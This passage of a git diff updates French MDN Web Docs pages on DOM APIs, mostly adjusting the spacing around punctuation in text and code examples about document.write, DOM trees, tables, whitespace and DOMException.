XHTML (vous obtiendrez une erreur « Operation is not supported \[`NS_ERROR_DOM_NOT_SUPPORTED_ERR`] » dans la console d'erreurs). Cela arrive lors de l'ouverture d'un fichier local avec l'extension de fichier `.xhtm` ou pour tout document servi avec une `application/xhtml+xml` de [type MIME](/fr/docs/Glossary/MIME_type). Plus d'informations disponibles dans la [foire aux questions W3C XHTML (en anglais)](https://www.w3.org/MarkUp/2004/xhtml-faq#docwrite). -> **Note :** `document.write` dans les scripts [deferred (_différé_)](/en-US/docs/Web/HTML/Element/script#attr-defer) ou [asynchronous (_asynchrone_)](/en-US/docs/Web/HTML/Element/script#attr-async) sera ignoré et vous recevrez un message comme "A call to `document.write()` from an asynchronously-loaded external script was ignored" dans la console d'erreurs. +> **Note :** `document.write` dans les scripts [deferred (_différé_)](/en-US/docs/Web/HTML/Element/script#attr-defer) ou [asynchronous (_asynchrone_)](/en-US/docs/Web/HTML/Element/script#attr-async) sera ignoré et vous recevrez un message comme "A call to `document.write()` from an asynchronously-loaded external script was ignored" dans la console d'erreurs. > **Note :** Dans Edge seulement, appeler plusieurs fois `document.write` dans un "iframe" déclenche une erreur "SCRIPT70: Permission denied." _(autorisation refusée)_. diff --git a/files/fr/web/api/document/xmlversion/index.md b/files/fr/web/api/document/xmlversion/index.md index 73b9895781..194f164a45 100644 --- a/files/fr/web/api/document/xmlversion/index.md +++ b/files/fr/web/api/document/xmlversion/index.md @@ -17,7 +17,7 @@ Renvoie le numéro de version comme spécifié dans la déclaration XML (par exe Cet attribut n'a jamais été réellement utile, parce qu'il a toujours renvoyé 1.0, et a été supprimé dans la spécification DOM Niveau 4. En conséquence, Firefox 10 ne l'implémente plus. Son utilisation principale dans le passé consistait à détecter si le document était rendu en XML plutôt qu'en HTML. Pour ce faire, vous pouvez créer un élément avec son nom en minuscule, puis vérifier s'il est converti en majuscules (auquel cas le document est en mode HTML non XML) : if (document.createElement("foo").tagName == "FOO") { - /* le document n'est pas XML */ + /* le document n'est pas XML */ } ## Spécifications diff --git a/files/fr/web/api/document_object_model/examples/index.md b/files/fr/web/api/document_object_model/examples/index.md index b9a9de6176..c375012c2f 100644 --- a/files/fr/web/api/document_object_model/examples/index.md +++ b/files/fr/web/api/document_object_model/examples/index.md @@ -9,9 +9,9 @@ original_slug: Web/API/Document_Object_Model/Exemples --- Cette page présente quelques exemples plus détaillés de développement Web et XML utilisant le DOM. Partout où c'est possible, les exemples utilisent des API courantes, des astuces et des modèles en JavaScript pour manipuler l'objet de document. -## Exemple 1 : _height_ (hauteur) et width _(largeur)_ +## Exemple 1 : _height_ (hauteur) et width _(largeur)_ -L'exemple qui suit montre l'utilisation des propriétés `height` et `width` pour dimensionner des images de diverses tailles : +L'exemple qui suit montre l'utilisation des propriétés `height` et `width` pour dimensionner des images de diverses tailles : ```html <!DOCTYPE html> @@ -67,7 +67,7 @@ function init() { </html> ``` -## Exemple 2 : attributs d'image +## Exemple 2 : attributs d'image ```html <!DOCTYPE html> @@ -99,7 +99,7 @@ function setBorderWidth(width) { </html> ``` -## Exemple 3 : manipulation de styles +## Exemple 3 : manipulation de styles Dans cet exemple simple, on accède à certaines propriétés basiques de style d'un élément de paragraphe HTML à l'aide de son objet style. L'objet style de l'élément et ses propriétés de style CSS peuvent être récupérés et définis depuis le DOM. Dans ce cas-ci, les styles individuels sont manipulés directement. Dans l'exemple suivant (l'exemple 4), on utilisera les feuilles de style et leurs règles pour changer les styles de documents entiers. @@ -130,7 +130,7 @@ function changeText() { </html> ``` -## Exemple 4 : utilisation de feuilles de style +## Exemple 4 : utilisation de feuilles de style La propriété `styleSheets` de l'objet `document` renvoie une liste des feuilles de style qui ont été chargées pour ce document. On peut accéder à ces feuilles de style et leurs règles individuelles à l'aide des objets `stylesheet`, `style` et `CSSRule`, comme montré dans cet exemple qui affiche tous les sélecteurs de règles de style dans la console. @@ -144,19 +144,19 @@ for(var i = 0; i < ss.length; i++) { } ``` -Pour un document avec une seule feuille de style dans laquelle les trois règles suivantes sont définies : +Pour un document avec une seule feuille de style dans laquelle les trois règles suivantes sont définies : BODY { background-color: darkblue; } P { font-face: Arial; font-size: 10pt; margin-left: .125in; } #lumpy { display: none; } -Ce script affiche les lignes suivantes : +Ce script affiche les lignes suivantes : BODY P #LUMPY -## Exemple 5 : propagation d'évènements +## Exemple 5 : propagation d'évènements Cet exemple montre comment les évènements se déclenchent et sont gérés dans le DOM d'une manière très simple. Lorsque l'élément BODY de ce document HTML est chargé, un écouteur d'évènement est enregistré sur la ligne supérieure de l'élément TABLE. Celui-ci gère l'évènement en exécutant la fonction `stopEvent`, qui modifie la valeur de la cellule inférieure du tableau. @@ -205,7 +205,7 @@ function load() { </html> ``` -## Exemple 6 : getComputedStyle +## Exemple 6 : getComputedStyle Cet exemple montre comment la méthode {{domxref("window.getComputedStyle")}} peut être utilisée pour obtenir les styles d'un élément qui ne sont pas définis dans l'attribut `style` ou à l'aide de JavaScript (c'est-à-dire, `elem.style.backgroundColor="rgb(173, 216, 230)"`). Ces derniers types de styles peuvent être récupérés avec la propriété plus directe {{domxref("element.style", "elt.style")}} , dont les propriétés sont listées dans la [liste des propriétés DOM CSS](/fr/docs/Web/CSS/Reference). @@ -266,9 +266,9 @@ function cStyles() { </html> ``` -## Exemple 7 : affichage des propriétés d'un objet `event` +## Exemple 7 : affichage des propriétés d'un objet `event` -Cet exemple utilise des méthodes DOM pour afficher les propriétés d'un objet {{domxref("window.onload")}} {{domxref("event")}} et leurs valeurs dans un tableau. Il montre également une technique utile utilisant une boucle `for..in` pour parcourir les propriétés d'un objet et obtenir leurs valeurs. +Cet exemple utilise des méthodes DOM pour afficher les propriétés d'un objet {{domxref("window.onload")}} {{domxref("event")}} et leurs valeurs dans un tableau. Il montre également une technique utile utilisant une boucle `for..in` pour parcourir les propriétés d'un objet et obtenir leurs valeurs. Les propriétés des objets `event` diffèrent sensiblement entre les différents navigateurs, la [spécification norme DOM](http://www.w3.org/TR/DOM-Level-2-Events/events.html) liste les propriétés standard, mais beaucoup de navigateurs ont ajouté un bon nombre de propriétés supplémentaires. @@ -338,11 +338,11 @@ window.onload = function(event){ </html> ``` -## Exemple 8 : utilisation de l'interface DOM Table +## Exemple 8 : utilisation de l'interface DOM Table L'interface DOM HTMLTableElement fournit certaines méthodes utilitaires permettant de créer et de manipuler des tableaux. Deux méthodes utilisées fréquemment sont {{domxref("HTMLTableElement.insertRow")}} et {{domxref("tableRow.insertCell")}} -Pour ajouter une ligne et quelques cellules à un tableau existant : +Pour ajouter une ligne et quelques cellules à un tableau existant : ```html <table id="table0"> diff --git a/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.md b/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.md index ff8be434b7..bf3aeb8e06 100644 --- a/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.md +++ b/files/fr/web/api/document_object_model/how_to_create_a_dom_tree/index.md @@ -12,7 +12,7 @@ Cet article décrit comment utiliser l'API [DOM Core (en)](https://www.w3.org/TR ### Créer dynamiquement un arbre DOM -Considérons le document XML suivant : +Considérons le document XML suivant : <?xml version="1.0"?> <people> @@ -28,7 +28,7 @@ Considérons le document XML suivant : </person> </people> -L'API DOM du W3C, supportée par Mozilla, peut être utilisée pour créer une représentation en mémoire de ce document comme cela : +L'API DOM du W3C, supportée par Mozilla, peut être utilisée pour créer une représentation en mémoire de ce document comme cela : var doc = document.implementation.createDocument("", "", null); var peopleElem = doc.createElement("people"); @@ -129,7 +129,7 @@ Vous pouvez automatiser la création de l'arbre DOM en utilisant un algorithme i ### Et après ? -Les arbres DOM peuvent être interrogés en utilisant des [expressions XPath](/fr/docs/Introduction_%C3%A0_l'utilisation_de_XPath_avec_JavaScript), convertis en chaîne de caractères ou écris dans un fichier local ou distant en utilisant [XMLSerializer](/fr/docs/Web/Guide/Parsing_and_serializing_XML) (sans avoir à le convertir en chaîne de caractères auparavant), [envoyés à un serveur Web](/fr/docs/Web/API/XMLHttpRequest) (via XMLHttpRequest), transformés en utilisant [XSLT](/fr/docs/XSLT), [XLink](/fr/docs/Glossaire/XLink), convertis en un objet JavaScript à travers un [algorithme JXON](/fr/docs/Archive/JXON), etc. +Les arbres DOM peuvent être interrogés en utilisant des [expressions XPath](/fr/docs/Introduction_%C3%A0_l'utilisation_de_XPath_avec_JavaScript), convertis en chaîne de caractères ou écris dans un fichier local ou distant en utilisant [XMLSerializer](/fr/docs/Web/Guide/Parsing_and_serializing_XML) (sans avoir à le convertir en chaîne de caractères auparavant), [envoyés à un serveur Web](/fr/docs/Web/API/XMLHttpRequest) (via XMLHttpRequest), transformés en utilisant [XSLT](/fr/docs/XSLT), [XLink](/fr/docs/Glossaire/XLink), convertis en un objet JavaScript à travers un [algorithme JXON](/fr/docs/Archive/JXON), etc. Vous pouvez utiliser des arbres DOM pour modéliser des données qui ne peuvent pas être traitées avec RDF (ou si vous n'aimez pas RDF). Un autre champ d'action est que, comme XUL est du XML, l'UI de votre application peut être manipulée dynamiquement, téléchargée, enregistrée, chargée, convertie ou transformée relativement facilement. diff --git a/files/fr/web/api/document_object_model/index.md b/files/fr/web/api/document_object_model/index.md index fffb6dd481..3eb4da7179 100644 --- a/files/fr/web/api/document_object_model/index.md +++ b/files/fr/web/api/document_object_model/index.md @@ -24,7 +24,7 @@ Pour mieux comprendre le fonctionnement du DOM, [une introduction est disponible - {{domxref("Document")}} - {{domxref("DocumentFragment")}} - {{domxref("DocumentType")}} -- {{domxref("DOMError")}} {{deprecated_inline}} +- {{domxref("DOMError")}} {{deprecated_inline}} - {{domxref("DOMException")}} - {{domxref("DOMImplementation")}} - {{domxref("DOMString")}} diff --git a/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.md b/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.md index 6bef94aea1..b1c2d8f1d6 100644 --- a/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.md +++ b/files/fr/web/api/document_object_model/traversing_an_html_table_with_javascript_and_dom_interfaces/index.md @@ -61,7 +61,7 @@ function generate_table() { {{ EmbedLiveSample('Création_d\'un_tableau_HTML_dynamiquement') }} -Remarquez l'ordre dans lequel les éléments et le nœud texte sont créés : +Remarquez l'ordre dans lequel les éléments et le nœud texte sont créés : 1. On crée d'abord l'élément \<table>. 2. Ensuite, l'élément \<tbody> qui est un enfant de l'élément \<table>. @@ -69,7 +69,7 @@ Remarquez l'ordre dans lequel les éléments et le nœud texte sont créés : 4. Pour chaque élément \<tr>, on emploie une boucle pour créer les éléments enfants \<td>. 5. Enfin pour chaque élément \<td>, on crée le nœud texte contenant le texte de la cellule du tableau. -Après avoir créé les éléments \<table>, \<tbody>, \<tr>, \<td> et le nœud texte, on ajoute chaque objet à son parent dans l'ordre inverse : +Après avoir créé les éléments \<table>, \<tbody>, \<tr>, \<td> et le nœud texte, on ajoute chaque objet à son parent dans l'ordre inverse : 1. On attache d'abord chaque nœud texte à son élément parent \<td> en utilisant @@ -93,7 +93,7 @@ Après avoir créé les éléments \<table>, \<tbody>, \<tr>, \<td> et le nœud Souvenez-vous de cette technique, vous l'utiliserez souvent en programmant pour le DOM W3C. On crée d'abord les éléments du haut vers le bas, puis on attache les enfants aux parents dans l'ordre inverse. -Voici l'HTML généré par ce code JavaScript : +Voici l'HTML généré par ce code JavaScript : ... <table border="2"> @@ -102,7 +102,7 @@ Voici l'HTML généré par ce code JavaScript : </table> ... -Voici l'arborescence objet DOM créée par le code, pour l'élément TABLE et ses enfants : +Voici l'arborescence objet DOM créée par le code, pour l'élément TABLE et ses enfants :  @@ -165,7 +165,7 @@ Dans cet exemple, on assigne à la variable `myP` l'objet DOM du second élémen  -Une fois que vous avez l'objet DOM pour un élément HTML, vous pouvez modifier ses propriétés. Si par exemple vous voulez définir la propriété couleur d'arrière-plan du style, ajoutez simplement : +Une fois que vous avez l'objet DOM pour un élément HTML, vous pouvez modifier ses propriétés. Si par exemple vous voulez définir la propriété couleur d'arrière-plan du style, ajoutez simplement : myP.style.background = "rgb(255,0,0)"; // ajoute une propriété de style inline @@ -186,15 +186,15 @@ En invoquant `myP.appendChild` ({{mediawiki.external('node_element')}}) , vous d myP.appendChild(noeudTexte); -En exécutant cet exemple, vous pouvez remarquer que les mots « hello » et « world » ne sont pas séparés : `helloworld`. Quand vous parcourez la page HTML les deux nœuds semblent donc n'en former qu'un seul, rappelez-vous cependant qu'ils sont bien distincts dans le modèle de document. Le second nœud est de type TEXT_NODE, et est le second enfant de la seconde balise \<p>. Le schéma suivant situe ce nouvel objet dans l'arborescence du document : +En exécutant cet exemple, vous pouvez remarquer que les mots « hello » et « world » ne sont pas séparés : `helloworld`. Quand vous parcourez la page HTML les deux nœuds semblent donc n'en former qu'un seul, rappelez-vous cependant qu'ils sont bien distincts dans le modèle de document. Le second nœud est de type TEXT_NODE, et est le second enfant de la seconde balise \<p>. Le schéma suivant situe ce nouvel objet dans l'arborescence du document :  -> **Note :** L'utilisation de `createTextNode` et de `appendChild` permet aisément d'ajouter un espace entre ces deux mots. Notez cependant que la méthode `appendChild` ajoute le nouvel enfant à la suite de ceux déjà présents, à la manière de « world » placé après « hello ». Pour ajouter un nœud texte entre « hello » et « world » (par exemple un espace), utilisez `insertBefore` à la place de `appendChild`. +> **Note :** L'utilisation de `createTextNode` et de `appendChild` permet aisément d'ajouter un espace entre ces deux mots. Notez cependant que la méthode `appendChild` ajoute le nouvel enfant à la suite de ceux déjà présents, à la manière de « world » placé après « hello ». Pour ajouter un nœud texte entre « hello » et « world » (par exemple un espace), utilisez `insertBefore` à la place de `appendChild`. ### Création de nouveaux éléments avec l'objet document et la méthode `createElement(...)` -Vous pouvez créer de nouveaux éléments, dont des éléments HTML, avec `createElement`. Pour créer un élément \<p> enfant de l'élément \<body>, vous pouvez vous servir de `body` défini dans l'exemple précédent et lui greffer un nouvel élément nœud. Pour ce faire, invoquez `document.createElement("nombalise")`. Voici un exemple : +Vous pouvez créer de nouveaux éléments, dont des éléments HTML, avec `createElement`. Pour créer un élément \<p> enfant de l'élément \<body>, vous pouvez vous servir de `body` défini dans l'exemple précédent et lui greffer un nouvel élément nœud. Pour ce faire, invoquez `document.createElement("nombalise")`. Voici un exemple : nouveauNoeudBALISEP = document.createElement("p"); body.appendChild(nouveauNoeudBALISEP); @@ -203,15 +203,15 @@ Vous pouvez créer de nouveaux éléments, dont des éléments HTML, avec `creat ### Suppression de nœuds avec la méthode `removeChild(...)` -Tous les nœuds peuvent être supprimés. La ligne ci-dessous supprime de `myP` (deuxième élément \<p>) le nœud texte contenant le mot « world » : +Tous les nœuds peuvent être supprimés. La ligne ci-dessous supprime de `myP` (deuxième élément \<p>) le nœud texte contenant le mot « world » : myP.removeChild(noeudTexte); -Vous pouvez ensuite ajouter `monNoeudTexte` (contenant `"world"`) dans l'élément \<p> récemment créé : +Vous pouvez ensuite ajouter `monNoeudTexte` (contenant `"world"`) dans l'élément \<p> récemment créé : nouveauNoeudBALISEP.appendChild(noeudTexte); -L'arborescence des objets se présente désormais comme ceci : +L'arborescence des objets se présente désormais comme ceci :  @@ -225,7 +225,7 @@ Jusqu'à la fin de cet article, nous travaillons de nouveau sur Exemple1.html. L ### Création et insertion des éléments dans l'arborescence -On peut décomposer la création du tableau de Exemple1.html en trois étapes : +On peut décomposer la création du tableau de Exemple1.html en trois étapes : - Récupérer l'objet body (c'est le premier élément de l'objet document). - Créer tous les éléments. @@ -233,7 +233,7 @@ On peut décomposer la création du tableau de Exemple1.html en trois étapes : Le code source qui suit est un exemple commenté qui crée le tableau de Exemple1. -> **Note :** Il y a une ligne de code supplémentaire à la fin de la fonction `start()`, qui définit la propriété bordure du tableau en employant la méthode `setAttribute`. `setAttribute` utilise deux arguments : le nom de l'attribut et sa valeur, et permet de définir n'importe quelle propriété de n'importe quel élément. +> **Note :** Il y a une ligne de code supplémentaire à la fin de la fonction `start()`, qui définit la propriété bordure du tableau en employant la méthode `setAttribute`. `setAttribute` utilise deux arguments : le nom de l'attribut et sa valeur, et permet de définir n'importe quelle propriété de n'importe quel élément. ```html <head> @@ -305,7 +305,7 @@ mybody.appendChild(currenttext); ### Récupérer la valeur d'un attribut -A la fin d'Exemple1, l'appel à `setAttribute` sur l'objet `table` définit la propriété `border` du tableau. Si vous désirez simplement récupérez la valeur de cet attribut, vous pouvez employer la méthode `getAttribute` : +A la fin d'Exemple1, l'appel à `setAttribute` sur l'objet `table` définit la propriété `border` du tableau. Si vous désirez simplement récupérez la valeur de cet attribut, vous pouvez employer la méthode `getAttribute` : ```html mytable.getAttribute("border"); @@ -328,7 +328,7 @@ Une fois que vous avez l'objet dans une variable JavaScript, vous pouvez défini row = document.createElement("tr"); for(var i = 0; i < 2; i++) { cell = document.createElement("td"); - text = document.createTextNode("la cellule est :" + i + j); + text = document.createTextNode("la cellule est :" + i + j); cell.appendChild(text); row.appendChild(cell); // change la couleur de fond de la cellule diff --git a/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.md b/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.md index 99b70402e6..76c73f3401 100644 --- a/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.md +++ b/files/fr/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.md @@ -8,7 +8,7 @@ Le DOM Level 1 Core du W3C est un modèle objet puissant permettant de modifier ## Définition d'un arbre de contenu -Beaucoup d'auteurs HTML peuvent penser qu'HTML est quelque chose de plat — un gros amas de texte avec quelques balises au milieu. Cependant, c'est aussi beaucoup plus que ça. Tout document HTML (ou, par ailleurs, tout document SGML ou XML) forme une structure arborescente. Par exemple, le document et la structure arborescente qui suivent sont similaires (bien que non identiques — consultez les notes sur [les espaces dans le DOM](/fr/docs/Gestion_des_espaces_dans_le_DOM)) : +Beaucoup d'auteurs HTML peuvent penser qu'HTML est quelque chose de plat — un gros amas de texte avec quelques balises au milieu. Cependant, c'est aussi beaucoup plus que ça. Tout document HTML (ou, par ailleurs, tout document SGML ou XML) forme une structure arborescente. Par exemple, le document et la structure arborescente qui suivent sont similaires (bien que non identiques — consultez les notes sur [les espaces dans le DOM](/fr/docs/Gestion_des_espaces_dans_le_DOM)) : <html> <head> @@ -24,11 +24,11 @@ Beaucoup d'auteurs HTML peuvent penser qu'HTML est quelque chose de plat — un Lorsque Mozilla examine un document, un arbre de contenu est construit et ensuite utilisé pour l'affichage. -Les termes utilisés pour décrire des arbres apparaissent souvent dans le DOM Level 1 Core. Chacune des boîtes dessinées dans l'arbre ci-dessus est un nœud dans l'arbre. La ligne au dessus d'un nœud représente une relation parent-enfant : le nœud supérieur est le parent, et le nœud inférieur est l'enfant. Deux enfants du même parent sont par conséquent des frères du même niveau. De même, on peut se référer à des ancêtres et des descendants. (Parler de cousins devient un peu compliqué par contre.) +Les termes utilisés pour décrire des arbres apparaissent souvent dans le DOM Level 1 Core. Chacune des boîtes dessinées dans l'arbre ci-dessus est un nœud dans l'arbre. La ligne au dessus d'un nœud représente une relation parent-enfant : le nœud supérieur est le parent, et le nœud inférieur est l'enfant. Deux enfants du même parent sont par conséquent des frères du même niveau. De même, on peut se référer à des ancêtres et des descendants. (Parler de cousins devient un peu compliqué par contre.) ## Ce que permet le DOM Level 1 Core -Le DOM Level 1 permet de modifier l'arbre du contenu*selon vos désirs*. Il est suffisamment puissant pour construire n'importe quel document HTML depuis rien. Il permet aux auteurs de modifier quoi que ce soit dans le document, depuis un script, à n'importe quel moment. La manière la plus simple pour les auteurs de pages Web de modifier le DOM dynamiquement est d'utiliser JavaScript. En JavaScript, le document est accessible de la même manière qu'il l'était dans les navigateurs plus anciens : depuis la propriété `document` de l'objet global. Cet objet `document` implémente l'[interface Document](http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html#i-Document) de la spécification DOM Level 1 du W3C. +Le DOM Level 1 permet de modifier l'arbre du contenu*selon vos désirs*. Il est suffisamment puissant pour construire n'importe quel document HTML depuis rien. Il permet aux auteurs de modifier quoi que ce soit dans le document, depuis un script, à n'importe quel moment. La manière la plus simple pour les auteurs de pages Web de modifier le DOM dynamiquement est d'utiliser JavaScript. En JavaScript, le document est accessible de la même manière qu'il l'était dans les navigateurs plus anciens : depuis la propriété `document` de l'objet global. Cet objet `document` implémente l'[interface Document](http://xmlfr.org/w3c/TR/REC-DOM-Level-1/level-one-core.html#i-Document) de la spécification DOM Level 1 du W3C. ## Un exemple simple diff --git a/files/fr/web/api/document_object_model/whitespace/index.md b/files/fr/web/api/document_object_model/whitespace/index.md index e20754093f..a31d9ee26d 100644 --- a/files/fr/web/api/document_object_model/whitespace/index.md +++ b/files/fr/web/api/document_object_model/whitespace/index.md @@ -7,12 +7,12 @@ translation_of: Web/API/Document_Object_Model/Whitespace --- ## Le problème -La présence d'espaces et de blancs dans le [DOM](fr/DOM) peut rendre la manipulation de l'arbre de contenu difficile dans des aspects qu'on ne prévoit pas forcément. Dans Mozilla, tous les espaces et blancs dans le contenu texte du document original sont représentés dans le DOM (cela ne concerne pas les blancs à l'intérieur des balises). (C'est nécessaire en interne afin que l'éditeur puisse conserver le formatage des documents et que l'instruction `white-space: pre` en [CSS](fr/CSS) fonctionne.) Cela signifie que : +La présence d'espaces et de blancs dans le [DOM](fr/DOM) peut rendre la manipulation de l'arbre de contenu difficile dans des aspects qu'on ne prévoit pas forcément. Dans Mozilla, tous les espaces et blancs dans le contenu texte du document original sont représentés dans le DOM (cela ne concerne pas les blancs à l'intérieur des balises). (C'est nécessaire en interne afin que l'éditeur puisse conserver le formatage des documents et que l'instruction `white-space: pre` en [CSS](fr/CSS) fonctionne.) Cela signifie que : - il y aura certains nœuds texte qui ne contiendront que du vide, et - certains nœuds texte commenceront ou se termineront par des blancs. -En d'autres termes, l'arbre DOM pour le document qui suit ressemblera à l'image ci-dessous (où « \n » représente un retour à la ligne) : +En d'autres termes, l'arbre DOM pour le document qui suit ressemblera à l'image ci-dessous (où « \n » représente un retour à la ligne) : <!-- My document --> <html> @@ -58,7 +58,7 @@ On peut formater leur code comme indiqué ci-dessous pour contourner le problèm ></div> ``` -Le code JavaScript ci-dessous définit plusieurs fonctions facilitant la manipulation d'espaces dans le DOM : +Le code JavaScript ci-dessous définit plusieurs fonctions facilitant la manipulation d'espaces dans le DOM : ```js /** @@ -76,7 +76,7 @@ Le code JavaScript ci-dessous définit plusieurs fonctions facilitant la manipul /** * Détermine si le contenu du texte d'un nœud est entièrement blanc. * - * @param nod Un nœud implémentant l'interface |CharacterData| (c'est-à-dire, + * @param nod Un nœud implémentant l'interface |CharacterData| (c'est-à-dire, * un nœud |Text|, |Comment| ou |CDATASection| * @return True (vrai) Si tout le contenu du texte du |nod| est un espace, * sinon false (faux). @@ -91,7 +91,7 @@ function is_all_ws( nod ) /** * Détermine si le nœud doit être ignoré par les fonctions d'itération. * - * @param nod Un objet implémentant l'interface DOM1 |Node|. + * @param nod Un objet implémentant l'interface DOM1 |Node|. * @return true (vrai) si le nœud est : * 1) un nœud |Text| qui est tout en espace * 2) un nœud |Comment| @@ -111,7 +111,7 @@ function is_ignorable( nod ) * un enfant du même parent, qui se produit immédiatement avant le * nœud référence.) * - * @param sib Le nœud référence . + * @param sib Le nœud référence . * @return soit : * 1) le frère précédent le plus proche de |sib| qui ne peut * être ignoré du fait de la fonction |is_ignorable|, ou @@ -129,7 +129,7 @@ function node_before( sib ) * Version de |nextSibling| qui ignore les nœuds qui sont entièrement * espace ou commentaire. * - * @param sib Le nœud référence . + * @param sib Le nœud référence . * @return soit : * 1) le frère précédent le plus proche de |sib| qui ne peut * être ignoré du fait de la fonction |is_ignorable|, ou @@ -149,7 +149,7 @@ function node_after( sib ) * de tous les nœuds DOM qui donnent le dernier des nœuds contenus * directement dans le nœud de référence.) * - * @param sib Le nœud référence. + * @param sib Le nœud référence. * @return soit : * 1) Le dernier enfant de |sib| qui ne peut * être ignoré du fait de la fonction |is_ignorable|, ou @@ -169,7 +169,7 @@ function last_child( par ) * Version de |firstChild| qui ignore les nœuds qui sont entièrement * espace ou commentaire.. * - * @param sib le nœud référence. + * @param sib le nœud référence. * @return soit: * 1) le nœud premier enfant de |sib| qui ne peut * être ignoré du fait de la fonction |is_ignorable|, ou @@ -190,7 +190,7 @@ function first_child( par ) * et termine et normalise tous les espaces dans un seul espace. (Normalement * |data | est une propriété des nœuds de texte qui donne le texte du nœud.) * - * @param txt Le nœud de texte dont les données doivent être renvoyées + * @param txt Le nœud de texte dont les données doivent être renvoyées * @return Une chaîne donnant le contenu du nœud de texte avec * espace blanc s'est effondré. */ diff --git a/files/fr/web/api/documentfragment/documentfragment/index.md b/files/fr/web/api/documentfragment/documentfragment/index.md index 753d6f303c..b8094de37e 100644 --- a/files/fr/web/api/documentfragment/documentfragment/index.md +++ b/files/fr/web/api/documentfragment/documentfragment/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/DocumentFragment/DocumentFragment --- {{ApiRef("DOM")}}{{seeCompatTable}} -Le constructeur **`DocumentFragment()`** renvoie un nouvel objet {{domxref("DocumentFragment")}} créé vide. +Le constructeur **`DocumentFragment()`** renvoie un nouvel objet {{domxref("DocumentFragment")}} créé vide. ## Syntaxe diff --git a/files/fr/web/api/documenttype/index.md b/files/fr/web/api/documenttype/index.md index c9b72f6c7b..f23d650ab6 100644 --- a/files/fr/web/api/documenttype/index.md +++ b/files/fr/web/api/documenttype/index.md @@ -27,7 +27,7 @@ _Cette interface hérite de propriétés de la part de son parent, {{domxref("No - {{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}} - : Un {{domxref ("DOMString")}} du sous-ensemble interne, ou null s'il n'y en a pas. Par exemple "\<! ELEMENT foo (bar)"> - {{domxref("DocumentType.name")}} {{readonlyInline}} - - : une {{domxref("DOMString")}}, par exemple, `"html"` pour `<!DOCTYPE HTML>`. + - : une {{domxref("DOMString")}}, par exemple, `"html"` pour `<!DOCTYPE HTML>`. - {{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}} - : une {{domxref ("NamedNodeMap")}} avec les notations déclarées dans la DTD. Chaque nœud de cette carte implémente l'interface {{domxref ("Notation")}}. - {{domxref("DocumentType.publicId")}} {{readonlyInline}} @@ -48,7 +48,7 @@ _Cette interface hérite de méthodes de la part de son parent, {{domxref("Node" | ------------------------------------------------------------------------------------------------ | -------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}} | {{Spec2('DOM WHATWG')}} | Implémente désormais l'interface {{domxref("ChildNode")}}. Retrait des propriétés `internalSubset`, `entities` et `notation`. | | {{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}} | {{Spec2('DOM3 Core')}} | Aucune modification depuis {{SpecName('DOM2 Core')}}. | -| {{SpecName('DOM2 Core', 'core.html#ID-412266927', 'CharacterData')}} | {{Spec2('DOM2 Core')}} | Ajout des propriétés `publicID`, `systemID` et `internalSubset`. | +| {{SpecName('DOM2 Core', 'core.html#ID-412266927', 'CharacterData')}} | {{Spec2('DOM2 Core')}} | Ajout des propriétés `publicID`, `systemID` et `internalSubset`. | | {{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'CharacterData')}} | {{Spec2('DOM1')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/domerror/index.md b/files/fr/web/api/domerror/index.md index c0aa91a55b..2bb2691b16 100644 --- a/files/fr/web/api/domerror/index.md +++ b/files/fr/web/api/domerror/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/DOMError --- {{ APIRef("DOM") }}{{deprecated_header}} -L'interface **`DOMError`** décrit un objet d'erreur contenant le nom de l'erreur. +L'interface **`DOMError`** décrit un objet d'erreur contenant le nom de l'erreur. ## Propriétés diff --git a/files/fr/web/api/domexception/index.md b/files/fr/web/api/domexception/index.md index 0c3e390c86..350bd56375 100644 --- a/files/fr/web/api/domexception/index.md +++ b/files/fr/web/api/domexception/index.md @@ -37,45 +37,45 @@ Les noms d'erreurs courants sont répertoriés ici. Certaines API définissent l - `IndexSizeError` - : L'index n'est pas dans la plage autorisée. Par exemple, cela peut être lancé par un objet {{ domxref("Range") }}. (Valeur de code héritée : `1` et nom de la constante héritée : `INDEX_SIZE_ERR`) - `HierarchyRequestError` - - : La hiérarchie de l'arborescence des nœuds est incorrecte. ( Valeur de code héritée : `3` et nom de la constante héritée : `HIERARCHY_REQUEST_ERR`) + - : La hiérarchie de l'arborescence des nœuds est incorrecte. ( Valeur de code héritée : `3` et nom de la constante héritée : `HIERARCHY_REQUEST_ERR`) - `WrongDocumentError` - - : L'objet est dans le mauvais {{ domxref("Document") }}. ( Valeur de code héritée : `4` et nom de la constante héritée : `WRONG_DOCUMENT_ERR`) + - : L'objet est dans le mauvais {{ domxref("Document") }}. ( Valeur de code héritée : `4` et nom de la constante héritée : `WRONG_DOCUMENT_ERR`) - `InvalidCharacterError` - - : La chaîne contient des caractères non valides. (Valeur de code héritée : `5` et nom de la constante héritée : `INVALID_CHARACTER_ERR`) + - : La chaîne contient des caractères non valides. (Valeur de code héritée : `5` et nom de la constante héritée : `INVALID_CHARACTER_ERR`) - `NoModificationAllowedError` - - : L'objet ne peut être modifié. (Valeur de code héritée : `7` et nom de la constante héritée : `NO_MODIFICATION_ALLOWED_ERR`) + - : L'objet ne peut être modifié. (Valeur de code héritée : `7` et nom de la constante héritée : `NO_MODIFICATION_ALLOWED_ERR`) - `NotFoundError` - - : L'objet ne peut être trouvé ici. (Valeur de code héritée : `8` et nom de la constante héritée : `NOT_FOUND_ERR`) + - : L'objet ne peut être trouvé ici. (Valeur de code héritée : `8` et nom de la constante héritée : 